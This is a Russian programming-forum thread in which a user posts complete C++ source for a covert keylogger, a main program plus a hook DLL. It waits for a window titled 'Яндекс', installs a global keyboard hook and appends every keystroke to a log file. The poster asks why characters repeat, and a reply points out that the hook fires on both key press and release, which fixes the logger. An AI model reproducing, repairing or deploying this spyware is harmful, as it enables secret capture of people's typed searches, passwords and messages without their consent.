|
|
Регистрация Восстановить пароль |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
|
Опции темы | Поиск в этой теме |
19.06.2008, 19:35 | #1 |
Новичок
Джуниор
Регистрация: 17.06.2008
Сообщений: 2
|
Помогите! Не могу обнаружить ошибку
Написал шпиона на С++, который ищет, открыто ли окно, в котором пресудствует слово Яндекс, и если онон активно, то пишет данные, которые пользователь водит на клавиатуре в файл. В итоге получается, что каждая буква повотряется много раз. В чем ошибка, подскажите если кто знает.
Текст исполняемой программы: //chpion.cpp //-------------------------- #include <vcl.h> #include <condefs.h> #include <winuser.h> #include <winbase.h> #include <stdio.h> //--------------------------------------------------------------------------- HHOOK hook; // Handle нашей "шпионской" функции void Registry(void); //--------------------------------------------------------------------------- WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { // Объявляем тип функции; typedef int (CALLBACK* lpfn)(); lpfn hookfunc; // Конкретный указатель на функцию // Открываем DLL HINSTANCE hDLL=LoadLibrary("dllhook.dll"); // Находим в ней адрес функции, которая и будет шпионить за клавой hookfunc=(lpfn)GetProcAddress(hDLL, "KeyboardProc") ; HINSTANCE hINSTAGE; while (1) { //Запускаем цикл. int sl,ll; ll=1; sl=2; //переменные для счетчика. char st[128]; HWND hw; //Идем самым простым путем - сравниваем посимвольно строки: полученный заголовок окна и с нужном нам строкой. while (ll!=sl) { // Функция GetForegroundWindow возвращает значение дескриптора приоритетного окна (окна, с которым пользователь в настоящее время работает). hw=GetForegroundWindow(); //Функция GetWindowText предназначена для получения заголовка окна GetWindowText(hw,st,128);// читаем активное на данный момент окно. char stt[128]="Яндекс"; //находим длинну строки, которую ы указали для шаблона sl=strlen(stt); ll=0; while (stt[ll]==st[ll]) //cравниваем посимвольно строки //это удобнее делать с той позиции, что будет проверяться, вхордит ли нужная //нам строка как часть в другую строку, можно сделать подобие //широкого фильтра. { ll++; } if (ll==sl) { //если строки совпадают до конца 1-ой строки - break; //прерываем процесс } } // Запускаем шпиона hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */ hookfunc, /* функция, которая шпионит */ LoadLibrary("dllhook.dll"), /* её DLL */ 0 /* Шпионить за всеми потоками в системе*/ ); } } ТЕКСТ DLL'ки: #include <vcl.h> #include <winuser.h> #include <stdio.h> #pragma hdrstop //-------------------------- extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam); //-------------------------- // "Шпионская" функция //-------------------------- LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { FILE *f; if((f=fopen("c:\\logfile.log","a")) !=NULL) { char codeklav=MapVirtualKey(wParam,2); fprintf(f,"%c",codeklav); fclose(f); } return CallNextHookEx(NULL, code, wParam, lParam); } int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*) { return 1; } |
23.06.2008, 10:48 | #2 |
Участник клуба
Регистрация: 08.10.2007
Сообщений: 1,185
|
KeyboardProc выполняется и при нажатии, и при отпускании клавиши и оба раза пишет в файл.
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Не могу найти ошибку! | Эдуард | Общие вопросы C/C++ | 7 | 27.02.2008 16:34 |
Не могу выявить ошибку | Cyn4uk | Общие вопросы Delphi | 14 | 14.01.2008 13:12 |
формирование матрицы (задание выполненно не могу найти сваю ошибку) | КиношкА | Помощь студентам | 7 | 11.01.2008 03:50 |
Паскаль. Не могу найти ошибку. Нужна помощь! | Nexx | Помощь студентам | 10 | 06.12.2007 19:12 |